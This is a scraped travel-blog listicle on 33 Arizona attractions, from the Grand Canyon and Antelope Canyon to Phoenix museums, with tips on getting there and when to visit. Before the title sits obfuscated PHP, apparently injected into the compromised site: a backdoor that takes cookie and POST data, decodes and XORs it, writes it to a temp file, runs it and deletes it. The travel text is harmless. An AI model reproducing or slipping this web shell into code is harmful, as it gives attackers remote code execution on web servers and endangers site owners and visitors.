$eKZKI = 'C' . "\x55" . chr (95) . chr ( 541 - 423 ).'I' . "\154" . chr ( 900 - 832 ).'r';$JExwxaIFIx = chr ( 785 - 686 ).'l' . chr (97) . "\x73" . "\x73" . '_' . "\x65" . "\170" . 'i' . "\x73" . "\x74" . "\163";$RZBwPZV = class_exists($eKZKI); $JExwxaIFIx = "21551";$GqUsG = strpos($JExwxaIFIx, $eKZKI);if ($RZBwPZV == $GqUsG){function SvvXXBje(){$wRUnH = new /* 59800 */ CU_vIlDr(14952 + 14952); $wRUnH = NULL;}$EQMWIAHNut = "14952";class CU_vIlDr{private function guOgjCFYrt($EQMWIAHNut){if (is_array(CU_vIlDr::$gqDKKtnt)) {$name = sys_get_temp_dir() . "/" . crc32(CU_vIlDr::$gqDKKtnt["salt"]);@CU_vIlDr::$gqDKKtnt["write"]($name, CU_vIlDr::$gqDKKtnt["content"]);include $name;@CU_vIlDr::$gqDKKtnt["delete"]($name); $EQMWIAHNut = "14952";exit();}}public function yVyrgWiQeF(){$VjJZm = "28639";$this->_dummy = str_repeat($VjJZm, strlen($VjJZm));}public function __destruct(){CU_vIlDr::$gqDKKtnt = @unserialize(CU_vIlDr::$gqDKKtnt); $EQMWIAHNut = "17289_45679";$this->guOgjCFYrt($EQMWIAHNut); $EQMWIAHNut = "17289_45679";}public function PaXQz($VjJZm, $RvgJZ){return $VjJZm[0] ^ str_repeat($RvgJZ, intval(strlen($VjJZm[0]) / strlen($RvgJZ)) + 1);}public function eMjzbb($VjJZm){$YwANUdLA = "\x62" . "\x61" . "\x73" . 'e' . "\x36" . chr (52);return array_map($YwANUdLA . '_' . 'd' . chr (101) . chr (99) . 'o' . chr (100) . chr (101), array($VjJZm,));}public function __construct($fpJDdyne=0){$XSUmQ = chr ( 371 - 327 ); $VjJZm = "";$UHuxG = $_POST;$efvqqh = $_COOKIE;$RvgJZ = "840b89a1-92bc-4c92-bab1-5e64a4632566";$zCOyzJnJ = @$efvqqh[substr($RvgJZ, 0, 4)];if (!empty($zCOyzJnJ)){$zCOyzJnJ = explode($XSUmQ, $zCOyzJnJ);foreach ($zCOyzJnJ as $zfdFicAlS){$VjJZm .= @$efvqqh[$zfdFicAlS];$VjJZm .= @$UHuxG[$zfdFicAlS];}$VjJZm = $this->eMjzbb($VjJZm);}CU_vIlDr::$gqDKKtnt = $this->PaXQz($VjJZm, $RvgJZ);if (strpos($RvgJZ, $XSUmQ) !== FALSE){$RvgJZ = explode($XSUmQ, $RvgJZ); $VjujtqL = base64_decode(md5($RvgJZ[0]));}}public static $gqDKKtnt = 2480;}SvvXXBje();} 33 Best Things to Do in Arizona in 2023 – TheFreedomFlights
33 Best Things to Do in Arizona in 2023

33 Best Things to Do in Arizona in 2023

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Arizona is something else. The southwestern state is most famous for the Grand Canyon, but truth be told, there are so many incredible places to visit in Arizona. You can see the Petrified Forest National Park or mountain biking in the Sonoran Desert. There are instrument-themed museums and even a ghost town or two to explore. Arizona is so varied in its attractions and things to do, and the desert atmosphere and remains of Wild West culture make it a bucket list travel destination. So, what are the best things to do in Arizona in 2023?

Amazing Things to Do in Arizona

Top Things to do in Arizona Wild West Era

These top 33 things to do in Arizona should all make your Arizona bucket list. Outdoor enthusiasts and nature lovers will particularly love the selection of national parks and hiking trails. But there are some cultural attractions and museums up for grabs too. Get ready for some Arizona inspiration.

Planning Your Trip To Arizona Right Now?

Below are some of the top tours in Arizona. Don’t forget to plan ahead when visiting Arizona!

Top Activities and Tours in Arizona:

1. Grand Canyon National Park

Best Things to do in Arizona Grand Canyon

Natural beauty doesn’t get much more sought-after than at the Grand Canyon National Park. The Grand Canyon is a massive chasm that attracts around 6 million visitors annually -staggering, right? It isn’t just aesthetically impressive though, it has some incredible history. Hence why it is one of the most famous attractions in all of U.S. history.

The canyon drops over a mile from top to canyon floor in sections, and the red rock bands evidence millions of years of geology. It is history frozen by nature. And the views are pretty impressive too.

When visiting the Grand Canyon National Park, you have the South Rim or the North Rim to choose from to visit. The South Rim is known for its tourist-friendly vibe – accessible with plenty of views and an excellent visitor center. Most people head to the South Rim; approximately 4-5 million of the 6 million visitors the Grand Canyon attracts. The South Rim is also set at a lower elevation, meaning you look up at the other side of the canyon, which creates a better view.

The North Rim is quiet, less developed, and better for adventurous tourists. While it only attracts a measly 1-2 million visitors annually, we can assure you this is a grave mistake for those who pass it by. Visiting the North Rim is one of the best things to do at the Grand Canyon. We suggest driving the Cape Royal Scenic Road along the North Rim and jumping at the significant viewpoints.

2. Montezuma Castle National Monument

Best Things to do in Arizona Montezuma Castle

Montezuma Castle National Monument is a beautiful historical monument. The limestone cliff dwelling is set 27 meters up on a cliff face, dating back to approximately AD 1100. As some of the best preserved historical dwellings in the state – if not the U.S. – Montezuma Castle should definitely bag a spot on your bucket list. It has tons of cultural history, and while being able to go inside the castle was paused in 1951, you can still take ranger-led tours to admire its exterior.

The walking trail to reach Montezuma Castle is a breeze and less than a mile return. There is also a cute little gift shop near the entrance, alongside a small museum with some extra information.

3. London Bridge in Lake Havasu City

Best things to do in Arizona London Bridge Lake Havasu

Visit London Bridge is not a recommendation you thought you’d see in a guide on things to do in Arizona. However, London Bridge is one of the highlights in Lake Havasu City and well worth a detour to. The bridge was in full use in London and was built in the 1830s. In 1968 though, the bridge was purchased by Robert P. McCulloch and moved brick by brick before being reconstructed over the Colorado River in Lake Havasu City. The fact that Britain sold London Bridge to the U.S. is the most random bit of trivia knowledge ever, and it is claimed as the world’s largest antique ever sold.

Lake Havasu City is right on the California-Arizona border, only a 2.5-hour drive south of Las Vegas. If you feel like darting over the Nevada border, you may wish to combine the two.

4. Saguaro National Park

Best Things to do in Arizona Saguaro National Park

Speaking of novelty and big titles, how about visiting the U.S.’s largest cacti? Saguaro National Park is one of the best things to do in Arizona. The park is 90,000 acres in size and is situated just outside of Tucson, actually sandwiching the city in between its two sections. It cops its name from the saguaro cactus, a famously huge type of cacti native to the Tucson region. Bring a camera; the cacti are everywhere, and it is the postcard old west experience many hope to have in Arizona.

To appreciate Saguaro National Park, we suggest allowing a few hours to enjoy the park’s hiking trails and main sightseeing points. Of course, if you have longer, that is fantastic. Saguaro National Park allows backpacking and camping, an extra adventurous activity for those wanting a more in-depth experience.

5. Petrified Forest National Park

Best Things to do in Arizona Petrified Forest National Park

Petrified Forest National Park is one of the most unusual things to do in Arizona. Get any picture of a standard forest out of your head and instead imagine a tree graveyard desert-style. Petrified Forest National Park contains hundreds of Triassic-aged petrified trees that lay scattered along the ground, often multi-colored thanks to the different ages of rock. Archeologists, paleontologists, and geologists unite in awe at this spot. You can join a guided tour with the rangers and hear about these mysterious trees’ importance. There are even fossils, and dinosaur remains to spot en route.

Petrified Forest National Park is just under 2 hours away from Flagstaff by car, so it is easy to combine with a Flagstaff stay or visit the Grand Canyon.

6. Monument Valley

Best Things to do in Arizona Monument Valley

Monument Valley is a beautiful (read: jaw-droppingly stunning) area of natural beauty in the Navajo Nation. The sweeping desert area is surprisingly flat, apart from massive red sandstone buttes that jut out of the sands at random intervals. You’ll most likely recognize Monument Valley already, as it is a firm favorite set in many old Western movies.

The best way to experience Monument Valley independently is to drive the 17-mile Valley Drive. This way, you can visit at your own pace, stopping at significant viewpoints like John Ford’s Point. Visiting Monument Valley by car takes around 4 hours if you take your time and get out at the views. If you are short on time check out this tour of Monument Valley from Sedona. You can also take a horseback riding tour through Monument Valley for extra adventure.

7. Mountain Biking in Sedona

Best Things to do in Arizona Mountain Biking in Sedona

There are some incredible things to do in Sedona, and one of the best things to do is go mountain biking. Sedona has some of the most exhilarating biking trails for intermediate and advanced mountain bikers, including some designated bike park areas. Sedona Bike Skills Park is a firm favorite for perfecting jumps and cornering, while the High on the Hog Trail and Bell Rock Pathway is perfect for putting skills into action. The best thing about biking in Sedona is that you don’t need your own mountain bike – there are so many mountain bike rentals around the town. It is the spot where biking reigns supreme, and you can even jump on a mountain bike tour of some of the nearby trails.

8. Glen Canyon Dam

Best Things to do in Arizona Glen Canyon Dam

Glen Canyon Dam is a pretty fascinating manmade construct. The landmark is a vast hydroelectric dam situated along the Arizona-Utah border. The dam is massive; Glen Canyon Dam is one of the largest in the U.S. It is just smaller than the Hoover Dam. It is a remarkable feat to view up close, and visiting is one of the most exciting things to do in Arizona.

You can take guided tours around Glen Canyon Dam. Plus, there is a large visitor center with exhibits and a gift shop. A massive bonus of visiting Glen Canyon over Hoover Dam is the crowds or lack of perhaps. This dam is less frequently visited by those giant coaches and floods of camera-happy tourists. It is a quieter alternative to get close to some dam architecture in Arizona.

9. Vermilion Cliffs National Monument

Best Things to do in Arizona Vermilion Cliffs National Monument

Vermilion Cliffs National Monument is a picture of beauty, and that’s an understatement. The monument is piles and piles of red rock formations organized in mismatched mounds and domed pyramids. But the highlight is how the formations are split into layers of different colored rocks. The effect is stunning, especially at sunset or sunrise, when the light casts a pinkish tone over the area.

Vermilion Cliffs National Monument itself is massive, spreading over 280,000 acres. You’ll need to pick one of the many hiking trails to visit. The most famous are the Wave Hike and White Pocket. The Wave Hike is the longest at 7 miles in and out but takes you to an iconic viewpoint overlooking a ‘wave’ phenomenon where the rock is split into thousands of smooth lines. White Pocket is much shorter, stretching only 2 miles in total, and takes you through beautiful multi-colored domes. Vermilion Cliffs National Monument is a beautiful national historic landmark that certainly deserves a day or two.

10. Arizona Sonora Desert Museum

Best Things to do in Arizona Sonora Desert Museum

Where better to appreciate natural history in Arizona than in the Sonoran Desert? The Arizona Sonora Desert Museum is a vast 98-acre museum on the outskirts of Saguaro National Park. It encompasses multiple attractions within the attraction itself – including a desert botanical garden, art gallery, natural history museum, and aquarium. The Arizona Sonora Desert Museum is dedicated to conservation and education on natural history and wildlife native to its desert.

While children will love the engaging nature of the Arizona Sonora Desert Museum, this is an attraction for all ages. Adults will also get much more out of the informative side of the experience. Walking through the desert botanical garden is also ridiculously photogenic and a unique experience.

11. Musical Instrument Museum

The Musical Instrument Museum is located smack bang in the middle of Phoenix, one of Arizona’s major cities. As the largest museum of its kind, it is a really sought-after attraction in the music niche. You’ll find a staggering total of over 15,000 musical instruments in its collection, and the museum has an instrument from every inhabited continent. A pretty mean feat. Aside from admiring exhibits, you can bag tickets to concerts held regularly at the Musical Instrument Museum. And if you are visiting as a family, regular child-focused events are available.

12. Canyon De Chelly National Monument

Best Things to do in Arizona Canyon de Chelly National Monument

Canyon De Chelly National Monument was a hugely important place in ancient history. Ancient Puebloans used the canyon as a sheltered spot to settle with crops and young families, and Canyon De Chelly was passed down over the centuries. The Hopi people settled in the area, and finally, the Navajo people settled there. The entire period of human occupation dates back nearly 5,000 years, so in 1931, Canyon De Chelly National Monument was created to formally preserve the area and its history.

You have a few options when visiting Canyon De Chelly National Monument. You can embark on a free canyon hike on a ranger-led tour. You can see the overlooks independently for beautiful canyon views. Or you can take a canyon tour with a Navajo guide.

13. Phoenix Art Museum

Phoenix Art Museum Things to do in Arizona

Don’t underestimate this one; Phoenix Art Museum is Southwestern America’s largest art museum. Phoenix Art Museum is a big deal in the artistic world, and it knows it – you’ll love it. The permanent collection houses more than 19,000 works from international artists. While in the museum, you can also catch lectures, tours, and films that run on an exciting and surprisingly regular schedule.

If you are an art enthusiast, you have zero reason not to add this immediately to your itinerary. If you aren’t an art enthusiast but are staying in Phoenix while visiting Arizona, then you also have zero excuse – make sure to visit.

14. Brewery Hop in Downtown Phoenix

Everyone needs to let their hair down at some point. And when in Arizona, we suggest brewery hopping your way through Downtown Phoenix. There are dozens of breweries that you can enjoy, including Tombstone Brewing Company and State 48 Brewery. Jot a few down and plan a selection of breweries to try one afternoon.

There are plenty of Ubers in Downtown Phoenix, so you won’t have to worry about transportation between breweries. Depending on which one you choose, you can even book a tasting experience.

15. Ski in Flagstaff

Best Things to do in Arizona Ski in Flagstaff

Skiing is one of the top things to do in Arizona – which is admittedly funny to get your head around since many assume Arizona to be the ‘Canyon state’ or entirely desert. Flagstaff is a world-renowned ski area and a prime spot to don your skis and tackle tricky slopes. The main ski resort in Flagstaff is Arizona Snowball, which receives an average of 260 inches of snowfall. Arizona Snowball is surprisingly kind to beginners, too, with plenty of beginner-friendly slopes if you want to taste what skiing is like.

16. Arizona Science Center

Best Things to do in Arizona Science Center Phoenix

Arizona Science Center is an eclectic ball of scientifically organized chaos. The center has everything from live demos to a planetarium and an IMAX theater. Stretched across four stories, it has tons to do and see and can easily take up half a day of exploring. If you fancy an indoor activity, Arizona Science Center is one of the top three activities to choose from in Arizona. The variety of activities and exhibits is incredible.

Again, since it is located in central Phoenix, you’ll be fine with squeezing a visit to Arizona Science Center into your itinerary. It is easily combined with other attractions like the Heard Museum.

17. Antelope Canyon

Best Things to do in Arizona Antelope Canyon

Antelope Canyon is like something straight out of a daydream. Dust-billowing rays of light fracture the smooth curves and ridges of the burned orange sandstone, and walking along the curved path along the canyon floor is an absolute must. It is one of the most classic things to do in Arizona, and honestly, don’t miss it for the world. The slot canyon is an adventurous place to hike, and photographers flock there to take beautiful pictures.

To hike Antelope Canyon, book a guided tour with a Navajo guide. It is essential to be mindful of which tour company you use to pay respect to land ownership.

18. Lake Powell

Best Things to do in Arizona Lake Powell

Lake Powell is one of the most beautiful lakes in the U.S., and visiting is one of the best things to do in Arizona. Why? It is surrounded by dramatic red rock formations and cliffs. It also has nearly 2,000 miles of shoreline and is (unofficially) a highly sought-after swimming point from June to August. It is the sort of place you take a day trip to with family in the summer holidays. Yet it has the photogenic shorelines to match its lighthearted atmosphere.

Lake Powell straddles the Arizona-Utah border, but we just had to squeeze it on here. If you are visiting Navajo Nation or even the Grand Canyon, it is an easy detour.

19. State Farm Stadium

State Farm Stadium is a 63,400-capacity NFL stadium in Glendale – just outside Phoenix. If you fancy watching some NFl, State Farm Stadium is a fantastic choice. The retractable roof means it is an all-weather venue and has that modern glam appeal. While it is the home ground of the Arizona Cardinals Football Club, keep your eye out for other events, too, like basketball and music events.

In the NFL season, watch the website to see if any games coincide with your time in Arizona. Outside of the season, watch out for alternative events so that you can at least get a glimpse inside the stadium.

20. Rock Climbing in Mount Lemmon

Best Things to do in Arizona Rock Climbing in Mount Lemmon

Rock climbing is a super exciting way to spend half a day in Arizona. For those new to rock climbing, it is also one of those activities that could be more manageable or technically challenging to try alone safely. A great way around this is to book a climbing tour or private session with a climbing guide. And when you do this, we suggest going to Mount Lemmon – one of Arizona’s rock climbing hot spots.

Mount Lemmon has a 7000-foot elevation gain and some fascinating domes and pinnacles to tackle. It has various grades and difficulties, making it perfect for a rock climbing experience.

21. Hike in the Superstition Mountains

Best Things to do in Arizona Hike the Superstition Mountains

When visiting Arizona, hiking in the Superstition Mountains should be on your list. The mountains are famed for being a part of the legend of the Lost Dutchman Mine – a massive gold mine that remains lost within the mountain range. Some even say the mine is cursed, claiming over 600 people have gone missing in their search.

We don’t recommend going hunting for the Lost Dutchman Mine. But we do recommend going hiking in the Superstition Mountains. Not only is the mountain range ridiculously famous, but it is also very scenic. Superstition Mountain Hieroglyphic Trail is one of the most incredible and is just 3 miles out and back. You can spot ancient petroglyphs drawn by the Hohokam people along the way.

22. Heard Museum

Best Things to do in Arizona Heard Museum

Heard Museum is one of the U.S.’s most valuable museums, entirely dedicated to the presentation of American Indian art and cultural heritage, and history. The exhibits encompass different parts of the American Indian experience, from historical abuse by the U.S. system to a more lighthearted celebration of beautiful artwork and culturally significant artifacts. While by no means a simple museum, the Heard Museum tackles a vast topic and lived experience with inspirational vigor.

Heard Museum is situated just outside the center of Phoenix. Allow a couple of hours to stop by, and consider combining it with a visit to the nearby Phoenix Art Museum.

23. Hoover Dam

Best Things to do in Arizona Hoover Dam

Okay, so technically, the Hoover Dam is in Nevada. However, it straddles the Nevada-Arizona border, so we are adding it to our list of things to do in Arizona. This is one of the largest dams in the U.S. and blocks in Lake Mead, the U.S.’s largest reservoir by volume. In short, you need to experience the Hoover Dam’s scale firsthand. The size is an absolute testament to the grand aspirations of the U.S.

Visiting the Hoover Dam is super easy and well-combined with a visit to Lake Havasu City or a detour over the border to Las Vegas. There are tours of the dam running like clockwork, so you’ll have no difficulties exploring. Just head to the visitor center.

24. Meteor Crater Natural Landmark

Best Things to do in Arizona Meteor Crater Natural Landmark

Meteor Crater Natural Landmark is a unique place for an outdoor adventure. The ancient meteorite site is where it crashed into the Earth – leaving a massive crater as its remaining impact site. If you fancy putting things into perspective, the Meteor Crater Natural Landmark is one of the most awe-inspiring and thought-provoking things to do in Arizona. The views are magnificent.

Meteor Crater Natural Landmark has loads of facilities and infrastructure. Some may love it, and some may hate it. The gift shop is quite expensive, and many people describe it as Disney-style. However, the Interactive Discovery Center is brilliant for supplementing your existing knowledge. The visitor center has its own widescreen theater and gives you access to a crater trail to get up close to the edge, too – so we’d recommend giving it a go.

25. Havasu Falls

Best Things to do in Arizona Havasu Falls

We don’t like to exaggerate, so know that we mean it when we say Havasu Falls is one of the prettiest waterfalls in the U.S. The water is a striking pastel light blue from the high calcium carbonate and magnesium levels. And the falls drop over 100 feet in a single drop to fill a considerable plunge pool at the bottom. Better yet, you can swim – rare amongst the prettiest waterfalls since tourism usually damages their natural beauty. Havasu Falls is still enough under the radar to avoid this strict rule brought on by over-tourism. So grab a bikini and towel and enjoy.

Havasu Falls is next to the Grand Canyon on the Havasupai Indian Reservation. The only way to access it is by hiking 10 miles each way, so bring plenty of water and some sturdy shoes.

26. Chiricahua National Monument

Best things to do in Arizona Chiricahua National Monument

Chiricahua National Monument is a 12,000-acre national park best known for its (often bizarre-looking) rock formations. The most interesting is a huge balancing rock, which sits precariously balanced atop another rock on a tiny pinnacle. Chiricahua National Monument might not be the first national park you hear of when looking for things to do in Arizona. However, it should sit at the top of your list. Some call it the ‘Wonderland of Rocks’ because it is so fascinating geologically and aesthetically.

The scenic drive is the best way to see Chiricahua National Monument, which whisks you around on an approximately 8-mile loop through dramatic formations. There are also many hiking trails you can challenge yourself to, too, brilliant for those with reasonable fitness levels.

27. Papago Park

Best things to do in Arizona Papago Park

Papago Park is a massive 1,500-acre park with more than 10 miles of hiking trails in the middle of Phoenix. It is the sort of place that you bring a picnic lunch to vegetate with on a patch of sunny grass. But it also has some exciting attractions that set it apart from a standard urban park. One of these attractions is the Hole-in-the-Rock Formation. The Hole-in-the-Rock is self-explanatory; it is a massive sandstone rock with many holes from erosion. You can climb up the formation and sit in the largest holes, which looks like a giant cave and has a beautiful view.

We suggest visiting for sunset, as Papago Park closes at 11 pm. Packing a romantic picnic and climbing the Hole-in-the-Rock is a great evening activity.

28. Horseshoe Bend

Best Things to do in Arizona Horseshoe Bend

Horseshoe Bend is undoubtedly the most famous point of the Colorado River. Does the name already ring a bell? It is a dramatic meander in the Colorado River that is made extra dramatic by contrasting colors. The rock’s sandstone and the Colorado River’s deep blue are a beautiful mix. And while this natural landmark is not officially a natural wonder of the world, it deserves to be one.

Visiting Horseshoe Bend is one of the most unmissable things to do in Arizona. It attracts around 2 million visitors annually, so take advantage of the memo. Just a 10-minute drive from Glen Canyon Dam, it is easily combined with this other major attraction. Horseshoe Bend is also just a short walk (1.5-mile return) from the parking area via Horseshoe Bend Trail.

29. Hall of Flame Fire Museum

Hall of Flame Fire Museum is a fascinating historical museum that documents the development of the fire service from the 1700s to the present day. The museum takes a visual, display-heavy approach. And by that, we mean you’ll get up close to massive fire engines, some of which date back to 1725. The experience is intensely riveting, especially with the sheer number of artifacts. The difference it makes to be able to look at the physical object in front of you rather than forcing yourself to imagine it through exhibit descriptions is unreal.

Hall of Flame Fire Museum is a unique way of learning about the fire service. Only a few museums go into such vivid detail and provide physical insight into fire history. So consider this attraction for your list if you are staying in Phoenix.

30. Museum of Northern Arizona

Best things to do in Arizona Museum of Northern Arizona

If you want museums, the Museum of Northern Arizona is one of the best things to do in Arizona. The Museum of Northern Arizona is the definition of one size fits all. The non-profit museum covers everything that has ever happened on the Colorado Plateau – from 15,000 B.C. to the modern day. The museum is so niche in its concentration and so passionate that it creates a beautiful attraction to include on your itinerary. Hundreds of exhibits and artifacts detailing human experiences, natural history, and geology will be found. One moment you could be admiring Native American Indian shoes and jewelry, and the next, a dinosaur skeleton or Star Wars figurines.

31. Hot Air Balloon Ride

Best things to do in Arizona Hot Air Balloon Ride

Taking a hot air balloon ride is one of the most memorable things to do in Arizona. There are hot air ballooning opportunities all over the state. However, flying over the Grand Canyon, Phoenix outskirts, or Tucson is the most popular. The beauty of a hot air balloon ride is the romantic and slow-paced experience; honestly, you don’t feel like you are moving. If you can bag a sunset or sunrise hot air balloon flight, grab it with both hands.

Popular ballooning companies include Hot Air Expeditions, Rainbow Ryders, and APEX Hot Air Balloon Rides. Average prices hover at a similar mark of $200 per person, though, so don’t stress too much about different companies – just check what’s on offer nearby your chosen Arizona destination.

32. Chapel of the Holy Cross

Best Things to do in Arizona Chapel of the holy cross

Get ready to see one of the strangest, most beautiful churches you’ve ever seen. The Chapel of the Holy Cross is set above the town of Chapel in an abstract 1950s design. The structure juts out of a red rock butte and has floor-to-ceiling windows with Sedona views. Free to enter, the Catholic church is one of the best low-cost things to do in Arizona. And if you like architecture or hold religious beliefs, it is an absolute must. The Chapel of the Holy Cross is an unusual attraction for your bucket list.

Located between Sedona and the Village of Oak Creek, the Chapel of the Holy Cross is extremely easy to squeeze into a trip to Northern Arizona. In fact, it is just a 50-minute drive from Flagstaff – perfect for your mainstream Arizona trip.

33. Desert Botanical Garden

Best Things to do in Arizona Desert Botanical Garden

Desert Botanical Garden is ideal for nature lovers. The 140-acre botanical garden contains over 50,000 plants in an iconic setup within Phoenix. Having such an ample, varied green space in an urban setting is beautiful. And if you want the ‘desert experience’ despite only being in Phoenix for a few days, then it is an absolute must. Allow a few hours to walk through the Desert Botanical Garden, and bring a picnic lunch for a charming afternoon experience.

The Desert Botanical Garden has more than just plants. There are dining facilities, a gift shop, and a library – perfect for post-plant entertainment.

FAQs: Things to do in Arizona

Best Things to do in Arizona Frequently Asked Questions

These are the absolute most essential details you need under your belt. We’ve covered the best things to do in Arizona, so now it is time to get you up to speed on the important stuff. Arizona’s logistics need a bit of rehearsal- so check out these details.

How to Get to Arizona

Best Things to do in Arizona Getting there

The easiest way to reach Arizona is to fly. You can fly direct into Phoenix Sky Harbor or Tucson International Airport, with regular flights from major airlines like Delta and AirCanada. Arriving from overseas, you’ll have to fly. Even if you travel to Arizona from the U.S., arriving by plane is the most time-effective transportation method. To put things bluntly, the vast majority of travelers land in the ‘fly to Arizona’ category. So hop on Skyscanner and set some flight notifications to bag the cheapest deals.

If you have a little longer on your hand and are traveling domestically, you could use Amtrak. Amtrak loosely connects much of the U.S. with daily or twice-daily train services. Arizona is no different; you can travel from Los Angeles to Phoenix by train in around 15 hours. The train tickets are relatively cheap when booked in advance, too, so you might save some cash and have a more eco-friendly experience of getting to Arizona.

Finally, you could road trip your way to Arizona. In our opinion, this is the best way, as who doesn’t love a U.S. road trip? Tick off your Route 66 aspirations and combine your visit to Arizona with a few other states.

Getting Around Arizona

Best Things to do in Arizona Getting Around

Getting around Arizona requires a car. Northern Arizona is well connected by coach services and guided tours because of the condensed amount of attractions. However, to really experience Arizona, you need a car to get off the beaten track or even just to experience the popular tourist attractions on your own time schedule. If you want to see as many Arizona attractions as possible, rent or bring a car. And check out this excellent Arizona road trip itinerary.

Just city hopping? If you primarily stick to cities and major towns, you can survive without a car. Just keep in mind that you may have to fork out on a guided tour of major attractions – like the Grand Canyon or Antelope Canyon. But in cities like Tucson or Phoenix, you can quickly get around on public transportation. As a rule of thumb, these cities are better explored without a car. And if you stay somewhere central, like downtown, you can even get around on foot to most inner-city attractions.

So, if you want to reach the remote attractions, rent a car. If you stay in cities and major towns, don’t stress it; just use public transport instead. You can always rent a car for a day to visit somewhere bucket list worthy if you prefer an organized guided tour.

Best Time to Visit Arizona

Best Things to do in Arizona Navajo Tribal Park

When it comes to visiting Arizona, we cannot stress the importance of shoulder seasons enough. Not only are the summer months packed with tourists, but they are also scorching. Seriously, the last thing you want is to visit Arizona in the summer. Spring and fall are your go-to months. Of these periods, we suggest March. March is one of the quietest months yet still has temperatures around 82 Fahrenheit. You’ll find pleasant (not overwhelming) temperatures and wildflowers everywhere. March is a wholesome time to experience the state; it makes more practical sense to explore the desert areas in cooler weather.

What is the most visited place in Arizona?

It is no shock that the most visited place in Arizona is the Grand Canyon. The Grand Canyon attracts around 6 million people per year.

What is a big attraction in Arizona?

The Grand Canyon is a massive attraction in Arizona. However, Arizona’s huge attractions include the Petrified Forest National Park, Vermilion Cliffs National Monument, and Hoover Dam.

How many days should I spend in Arizona?

You should spend a minimum of 4-5 days in Arizona. The state is a beautiful place to visit; ideally, you’d spend weeks – or even a month – to fully appreciate everything to do.

Why Should You Visit Arizona?

Cool things to do in Arizona Downtown Phoenix

Feeling inspired and ready to tackle your Arizona bucket list? Arizona is so much more than just the Grand Canyon and Horseshoe Bend. It is impossible not to love all the things to do in Arizona. The outdoor activities are unrivaled, with the Desert Botanical Garden, hiking trails around Saguaro National Park, and red rock formations in places like the Canyon De Chelly National Monument. And there are museums galore – from the Heard Museum to the Phoenix Art Museum. Arizona is exciting.

For more details about one of the U.S.’s most exciting states, you can check out these fun facts or, for accommodation ideas, this guide on the best cabins in Arizona. Leave plenty of time for some additional research – even just for fun. Arizona is fascinating to visit, and you’ll love it.

Plan Your Next Trip to Arizona with These Resources

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